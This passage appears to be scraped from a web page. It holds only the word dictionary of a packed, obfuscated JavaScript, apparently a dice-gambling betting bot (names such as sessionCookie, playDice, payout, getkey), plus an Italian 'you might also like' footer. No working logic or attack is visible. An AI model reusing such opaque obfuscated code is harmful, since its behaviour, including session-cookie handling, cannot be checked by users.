0xef|0x895|0xf0|0x893|0xeb|0xea|0x898|0xe7|0x899|0xe8|0x897|0xe9|0x896|0xa2|0xa1|
0x8f8|0x8f9|indexOf|0x8f7|00|0x8f5|slice|0x8f6|0x8fa|0x8fb|0x8fd|0x8fe|_0x3930d|
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|0x8fc|charAt|IjtRq|
0x8f4|0x8f3|0x8e8|newState|0x8e9|0x8e7|0x8e6|0x8e3|0x8e4|0x8e5|0x8ea|0x8eb|0x8f0|
0x8f1|0x8f2|0x8ef|0x8ee|0x8ec|0x8ed|x20this|x22return|0x915|0x916|0x917|0x914|
0x913|0x911|dev|0x912|0x918|0x919|0x91b|0x91c|0x91d|0x91a|shift|timeout|value|
0x910|0x90f|0x903|0x904|0x905|0x902|0x901|constructor|0x8ff|0x900|0x906|0x907|
0x90c|0x90d|0x90e|0x90b|0x90a|0x908|0x909|0x8e2|Boolean|0x8c6|0x8c7|x2c|0x8c5|
sasES|0x8c2|0x8c3|0x8c4|0x8c8|qSsMb|0x8ca|mspBJ|txtEc|ZBwWJ|x2e|x3f|0x8c9|0x8c1|
0x8c0|0x9b|0x9a|0x8b6|0x9c|0x9d|0xa0|0x9f|0x9e|0x8b7|0x8b8|0x8bd|0x8be|0x8bf|0x8bc|
0x8bb|0x8b9|0x8ba|apply|0x8cc|0x8d8|0x8d9|0x8da|0x8d7|0x8d6|_0x261875|0x8d4|0x8d5|
0x8db|random|0x8df|0x8e0|0x8e1|0x8de|0x8dd|round|0x8dc|0x8d3|0x8d2|typeof|0x8d0|
sessionCookie|0x8cf|cnBalance|0x8cd|0x8ce|mdBourrin|payout|x5f|x3a|0x8d1|series|
profitrisk|console|lossamount|hBKId|0x884|0x84b|0x84c|0x84d|0x173|0x84a|0x175|
mGFgP|0x174|0x172|0x84e|0x851|YffwY|0x170|0x850|0x171|0x84f|IrcjU|MocOg|0x849|
0x7ac|0x17d|0x17c|0x17e|0x17f|0x182|0x181|0x180|0x847|0x17b|0x848|ZzBgP|0x176|
0x177|0x178|0x17a|0x179|0x852|0x853|HgBmh|0x160|0x85a|0x161|0x859|KXGVZ|0x162|
checkkey|0x15f|0x15e|0x85c|0x85d|0x85e|0x15c|0x15d|0x85b|xoStj|0x163|werey|0x16d|
0x16c|0x16b|0x16e|0x856|0x854|0x16f|0x855|0x857|0x858|0x166|0x165|0x164|0x167|
0x168|0x16a|0x169|0x183|0x184|0x1a0|QyoKA|0x19f|QoBZB|0x1a1|0x1a2|0x83b|QpuoB|
0x19e|0x83c|qWzsd|0x19b|oWVih|0x19c|mDLop|0x83d|0x19d|DsZQD|0x83a|0x1a7|0x834|
0x835|0x833|0x832|0x831|UPshE|0x1a8|0x836|0x1a6|0x1a4|rhnwH|0x1a3|0x839|0x1a5|
0x837|0x838|0x19a|CYvPV|rkocS|0x18e|0x845|0x18f|0x190|0x843|0x191|0x844|0x18d|
0x18c|0x187|0x186|0x185|0x188|0x189|0x18b|0x18a|0x192|0x842|0x198|Vutiq|0x197|
0x840|0x83f|0x199|0x83e|fWksA|0x196|0x194|isZgd|0x193|0x841|getkey|ozisD|0x195|
VSWVn|0x15b|0x877|WbUDg|0x11b|0x11c|FxZqi|0x876|vnFDr|0x11d|0x878|WHTnt|PxLwD|
0x118|0x87a|0x119|MjmFi|0x11a|0x879|0x11e|ujFgF|0x126|eSPbA|0x874|BndjX|0x873|
0x872|VUUNY|0x127|oOOOK|0x124|0x120|CuHNZ|0x11f|0x121|0x875|0x123|0x122|0x87b|
wOOYE|0x87f|0x880|0x10a|0x10b|muIsT|0x10d|PbNQt|0x10c|AGIPz|0x109|0x107|0x106|
0x883|ioArW|0x882|0x881|0x108|0x10e|QZIOo|bedeD|0x115|OESut|0x87d|0x116|0x117|
0x87c|Ajbli|0x114|0x87e|0x110|vsQCG|0x10f|0x111|0x112|uFwmd|0x113|0x128|hwFUE|
0x14a|0x865|0x149|0x14b|0x14c|0x14f|0x14e|0x14d|0x148|0x147|0x143|0x142|0x141|
0x144|0x145|0x866|0x146|0x150|0x864|0x159|0x158|0x862|0x861|0x15a|0x85f|0x860|
CJgLK|0x157|_0x4110x56|0x863|0x152|0x151|0x153|0x154|0x156|0x155|0x140|0x867|0x12e|
0x12d|0x12c|0x12f|0x131|0x86c|0x86d|0x132|0x12b|0x86e|0x871|WsgYo|0x129|0x870|
0x12a|0x86f|MVjeW|0x133|0x134|0x868|0x869|0x13b|0x13c|0x13d|0x13f|0x13e|0x86a|
0x13a|0x137|0x136|0x135|0x138|0xfa0|0x86b|0x139|0x830|0x311|0x4ff|0x4fe|0x69b|
0x500|0x69a|0x501|0x698|0x699|0x69c|0x4fd|0x69e|0x4f8|0x69f|0x69d|0x4f9|0x4fc|
0x4fb|0x4fa|0x697|0x502|0x693|0x50a|_0x3ca61b|0x50b|0x50c|0x50f|0x50e|0x50d|0x694|
0x509|0x696|0x504|0x503|0x695|0x505|0x508|0x507|0x506|0x6a0|0x4f7|0x6a9|0x6aa|
0x4e7|0x4e8|0x6a8|0x6a6|0x4e9|0x6a7|0x6ab|0x4e6|0x6ae|0x4e2|0x6af|0x4e3|0x6ad|
0x6ac|0x4e5|0x4e4|0x6a5|0x4ea|pipe|0x4f4|0x4f3|0x4f5|0x6a3|0x6a1|0x4f6|0x6a2|0x4f2|
0x4f1|0x4ed|0x4ec|0x4eb|0x4ee|0x6a4|0x4f0|0x4ef|oKugi|0x692|0x527|0x67d|0x67e|
0x528|0x529|0x52b|0x52a|0x67c|0x526|0x67f|0x683|0x523|0x522|0x682|0x524|0x680|
0x525|0x681|0x52c|0x67b|0x677|0x534|0x533|0x676|0x675|0x673|0x536|0x674|0x532|
0x678|0x52e|0x52d|0x67a|0x52f|0x530|0x679|0x531|0x521|0x520|0x516|EgoTG|0x515|
0x68e|acxrT|0x518|0x68d|0x517|0x68f|0x514|0x512|Kiqkc|0x511|0x691|WCcdA|YJafa|
0x690|0x513|RnqMy|0x519|0x51d|0x687|0x688|0x686|0x51e|0x51f|0x684|0x685|0x51c|
0x689|0x51a|sEutr|0x68c|0x68b|IDZtZ|0x68a|0x51b|0x6b0|0x4e1|0x6e3|0x4ac|0x6e4|
0x6e2|0x6e1|0x6de|0x6df|0x6e0|0x4ab|0x4aa|0x6e6|0x6e7|0x6e8|0x6e5|0x4a6|0x4a9|
0x4a8|0x4a7|0x6dd|0x6dc|0x4b1|0x6d6|0x6d7|0x6d5|0x6d4|0x6d2|0x6d3|0x4b2|0x4b0|
0x6d8|0x6da|0x4ad|0x6db|0x4ae|playDice|0x6d9|0x4af|0x6e9|0x6ea|0x490|0x48f|0x48e|
0x491|0x492|0x495|0x494|0x493|0x6ed|0x48d|0x487|0x7ab|0x485|0x488|0x489|0x48c|
0x48b|0x48a|0x496|0x6ec|0x4a1|0x4a0|0x49f|0x4a2|0x4a3|result|0x4a5|0x4a4|0x49e|
0x49d|0x498|0x497|0x6eb|0x499|0x49a|0x49c|0x49b|0x4b3|0x4b4|0x6b8|0x4cf|0x4ce|
0x4d0|0x6b7|0x6b6|0x4d2|0x4d1|0x6b9|0x4cd|0x6bd|0x6be|0x4ca|0x4cb|0x6bc|0x6ba|
0x4cc|0x6bb|0x4d3|0x6b5|0x4dc|0x4db|0x6b2|0x4dd|0x4de|0x4e0|0x6b1|0x4df|0x4da|
0x4d9|0x6b4|0x4d5|0x4d4|0x4d6|0x4d7|0x6b3|0x4d8|0x4c9|0x6bf|0x6ca|0x6cb|0x4bb|
0x4bc|0x4bd|0x6c8|0x4be|0x6c9|0x4ba|0x6cd|0x4b7|0x4b6|0x4b5|0x6d1|0x4b8|0x4b9|
0x6ce|0x6cf|0x4bf|_0x4cdd3c|0x4c4|0x6c1|0x6c2|0x4c5|0x4c6|0x4c8|0x6c0|0x4c7|0x4c3|
0x6c3|0x6c6|0x4c0|0x6c7|0x4c1|0x6c5|0x6c4|0x4c2|0x672|0x537|0x5db|0x5da|0x5d9|
0x5dc|0x5dd|0x5e0|0x5df|0x5de|0x5d8|0x5d7|0x645|0x5d2|0x5d1|0x5d3|0x5d4|0x644|
0x5d6|0x5d5|0x5e1|0x5e2|0x5e9|0x5e8|0x5e7|0x5ea|0x5eb|0x5ee|0x5ed|0x5ec|0x5e6|
0x63f|0x643|0x5e4|0x5e3|0x5e5|0x642|0x640|0x641|0x5d0|0x5cf|0x5bd|0x64d|0x5bc|
0x5be|0x64c|0x64b|0x5c0|0x5bf|0x64e|0x5bb|0x5b5|0x5b4|0x5b3|0x5b6|0x5b7|0x5ba|
0x5b9|0x5b8|0x5c1|0x5c2|0x5ca|0x5c9|0x647|0x5cb|0x5cc|0x5ce|0x5cd|0x646|0x5c8|
0x5c7|0x5c4|0x5c3|0x64a|0x649|0x5c5|0x648|0x5c6|0x63e|0x5ef|0x61b|0x61a|0x635|
0x61c|0x61d|0x61f|0x634|0x61e|0x619|0x618|0x614|0x613|0x612|0x615|0x616|0x636|
0x637|0x617|0x620|0x621|0x62f|0x630|0x631|0x629|0x62e|0x62b|0x62d|0x62a|0x628|
0x632|0x623|0x622|0x633|0x624|0x625|0x627|0x626|0x611|0x610|0x5fc|0x5fb|0x5fa|
0x5fd|0x5fe|0x63d|0x600|0x5ff|0x5f9|0x5f8|0x5f2|0x5f1|0x5f0|0x5f3|0x5f4|0x5f7|
0x5f6|0x5f5|0x601|0x602|0x60c|0x60b|0x60a|0x60d|0x60e|0x638|0x639|0x63a|0x609|
0x608|0x605|0x604|0x603|0x63c|0x606|0x607|0x63b|0x5b2|0x5b1|0x664|0x55f|0x665|
0x560|0x561|0x563|0x562|0x663|0x55e|0x55d|0x558|0x557|0x556|0x559|0x55a|0x55c|
0x55b|0x666|0x662|0x564|0x56d|0x56c|0x660|0x56e|0x56f|0x571|0x65f|0x570|0x56a|
0x569|0x567|0x566|0x565|979979978|9999|0x568|0x661|0x555|0x553|0x541|0x66f|0x540|
0x66e|0x66d|0x66b|0x66c|0x542|0x53f|0x53e|0x53a|0x539|0x538|0x53b|0x671|0x53d|
0x53c|0x670|0x543|0x66a|0x54d|0x54c|0x667|0x54e|0x54f|0x552|0x551|0x550|0x54b|
0x54a|0x545|0x544|0x669|0x546|0x547|0x549|0x668|0x572|0x573|0x59c|0x59b|0x59a|
0x59d|0x59e|0x652|0x653|0x59f|0x599|0x598|0x593|0x655|0x592|0x654|0x594|0x597|
0x596|0x595|0x5a0|0x5a1|0x64f|0x650|0x5aa|0x5ac|0x5ad|0x5b0|0x5af|0x5ae|0x5a9|
0x5a8|0x5a4|0x5a3|0x5a2|0x5a5|0x651|0x5a7|0x5a6|0x591|0x590|0x57d|0x57c|0x57b|
0x57e|0x57f|0x581|0x65b|0x580|0x57a|0x579|0x574|0x65d|0x65e|0x575|0x576|0x65c|
0x578|0x577|0x582|0x583|0x657|0x58b|0x658|0x58c|0x58d|0x58f|0x58e|0x656|0x58a|
0x589|0x585|0x65a|0x584|0x586|0x587|0x659|0x588|0x484|0x486|0x363|0
x764|0x765|0x364|0x365|0x763|0x367|0x366|0x362|0x766|0x35f|0x35e|0x35d|0x360|0x769|
0x767|0x361|0x768|0x762|0x368|0x372|0x371|0x370|0x373|0x75f|0x375|0x374|0x75e|
0x36f|0x760|0x36b|0x36a|0x369|0x36c|0x36d|0x761|0x36e|0x35c|rolls|0x76e|0x347|
0x346|0x348|0x349|0x34b|0x76d|0x34a|0x345|0x344|0x340|0x33f|0x33e|0x341|0x342|
0x343|0x76f|0x770|0x34c|0x34d|0x356|0x355|0x354|0x357|0x358|0x35b|0x35a|0x359|
0x353|0x76a|0x34f|0x76c|0x34e|0x76b|0x350|0x352|0x351|0x376|0x75d|0x755|0x3a0|
0x39f|0x3a1|0x3a2|0x3a5|0x3a4|0x3a3|0x39e|0x39d|0x398|0x397|0x396|0x399|0x39a|
0x39c|0x756|0x39b|0x3a6|0x3a7|0x3b1|0x753|0x754|0x3b2|0x3b3|0x3b6|0x3b5|0x483|
0x3b0|0x3af|0x3aa|0x3a9|0x3a8|0x3ab|0x3ac|0x3ae|0x3ad|0x395|0x394|0x381|0x380|
0x37f|_0x4110x81|0x75a|0x758|0x382|0x759|0x37e|0x37d|0x378|0x377|0x75c|0x379|0x75b|
0x37c|0x37b|0x37a|0x383|0x384|0x38e|0x38d|0x38c|0x38f|0x390|0x393|0x392|0x391|
0x38b|0x757|0x386|_0x322082|0x385|0x387|0x388|0x38a|0x389|0x33d|0x33c|0x799|0x79a|
0x2fc|0x2fd|0x798|0x2ff|0x797|0x2fe|0x79b|0x2fb|0x2f6|0x2f5|0x2f4|0x2f7|0x2f8|
0x2fa|0x79c|0x2f9|0x300|0x301|0x792|0x308|0x793|0x309|0x30a|0x790|0x791|0x30b|
0x307|0x306|0x304|0x303|0x302|0x796|0x305|0x794|0x795|0x2f3|0x2f2|0x7a5|0x2e1|
0x7a6|0x7a4|0x2e2|0x2e3|0x7a2|0x7a3|0x7a7|0x2e0|0x2dd|0x2dc|getDir|0x2de|0x7aa|
0x7a8|0x2df|0x7a9|0x7a1|0x7a0|0x2ed|0x2ec|0x2eb|0x2ee|0x2ef|0x79d|0x2f1|0x2f0|
0x2ea|0x2e9|0x2e6|0x2e5|0x2e4|0x2e7|0x79f|0x2e8|0x79e|0x30c|0x78f|0x77a|0x32b|
0x32a|0x779|0x32c|0x32d|0x777|0x778|0x77b|0x329|0x77d|0x324|0x323|0x325|0x326|
0x77c|0x328|0x327|0x776|0x32e|0x337|0x336|0x335|0x772|0x338|0x33b|0x33a|0x339|
0x334|0x333|0x330|0x32f|0x775|0x774|0x331|0x773|0x332|0x322|0x321|0x789|0x78a|
0x78b|0x788|0x314|0x316|0x787|0x315|0x312|0x78c|0x30e|0x30d|0x78e|0x30f|0x310|
0x62c|0x78d|0x786|0x317|0x77f|0x31c|0x780|0x77e|0x31d|0x320|0x31f|0x31e|0x781|
0x31b|0x319|0x785|0x318|0x31a|0x784|0x782|0x783|0x3b7|0x3b4|0x707|0x708|0x437|
0x438|0x706|0x43b|0x705|0x439|0x436|0x709|0x432|0x70c|0x431|0x70b|0x433|0x435|
0x70a|0x434|0x43c|0x703|0x444|0x6fe|0x443|0x445|0x446|0x447|0x6fc|0x6fd|0x6ff|
0x442|0x43f|0x702|0x43d|0x701|0x440|0x441|0x700|0x430|0x70d|0x719|0x71a|0x421|
0x422|0x717|0x424|0x423|0x716|0x420|0x71b|0x71e|0x41d|0x71f|0x71d|0x41e|0x41f|
0x3b8|0x425|0x426|0x42d|0x711|0x42c|0x710|0x42e|0x70e|0x42f|0x70f|0x42b|0x42a|
0x714|0x715|0x427|0x428|0x713|0x429|0x712|0x6fb|0x6fa|0x46d|0x46c|0x46b|0x6f0|
0x46e|0x46f|0x6ee|0x6ef|0x46a|0x469|0x465|0x6f2|0x6f3|0x466|0x467|0x6f1|0x468|
0x470|0x471|0x47d|0x47c|0x47b|0x47e|0x47f|0x482|0x481|0x480|0x47a|0x479|0x474|
0x473|0x472|0x475|0x476|0x478|0x477|0x464|0x463|0x44e|0x44d|0x6f6|0x44f|0x450|
_0x4110x7d|0x6f5|0x451|0x44c|playTime|0x44a|0x449|0x448|0x6f9|0x6f8|0x6f7|0x44b|
0x452|0x453|0x45e|0x45d|0x45c|0x45f|0x6f4|0x462|0x461|0x460|0x45b|0x45a|0x456|
0x455|0x454|0x457|0x458|0x459|_0x4110x7c|0x720|0x71c|0x3eb|0x3e9|0x3e7|0x3ec|0x74f|
0x3ee|0x74e|0x3ed|0x3e6|0x3e5|0x3e0|0x751|0x3df|0x3e1|0x3e2|0x750|0x3e4|0x3e3|
0x74c|0x3ef|0x748|0x749|0x3f7|0x3f8|0x41c|0x3fc|0x3fb|0x3fa|0x74a|0x3f6|0x3f2|
0x3f1|0x3f0|0x3f3|0x3f4|0x3f5|0x74b|0x3de|0x3dd|0x3c5|0x3c4|0x3c3|0x3c6|0x3c7|
0x3ca|0x3c9|0x3c8|0x3c2|0x3c1|0x3bb|0x3ba|0x3b9|0x3bc|0x3bd|0x3c0|0x3bf|0x3be|
0x3cb|0x3cc|0x3d8|0x3d7|0x3d6|0x752|0x3d9|0x3dc|0x3db|0x3da|0x3d5|0x3d4|0x3cf|
0x3ce|0x3cd|0x3d0|0x3d1|0x3d3|0x3d2|0x747|0x3f9|0x730|0x411|0x731|0x72f|0x412|
0x413|0x72d|0x72e|0x732|0x410|0x40e|0x3fd|0x738|0x736|0x735|0x733|0x734|0x40f|
0x72c|0x72b|0x418|0x723|0x417|0x722|0x721|0x41b|0x41a|0x419|0x724|0x725|0x729|
0x72a|0x414|0x415|0x728|0x726|0x416|0x727|0x40d|0x737|0x407|0x73e|0x73d|0x73c|
0x73b|0x408|0x742|0x402|0x73f|0x405|0x740|0x406|0x403|0x741|0x404|0x73a|0x40a|
0x745|0x40b|0x746|0x40c|0x743|0x3fe|0x401|0x744|0x409|0x400|0x739|
0x3ff'.split('|'),0,{}))

Potrebbero piacerti anche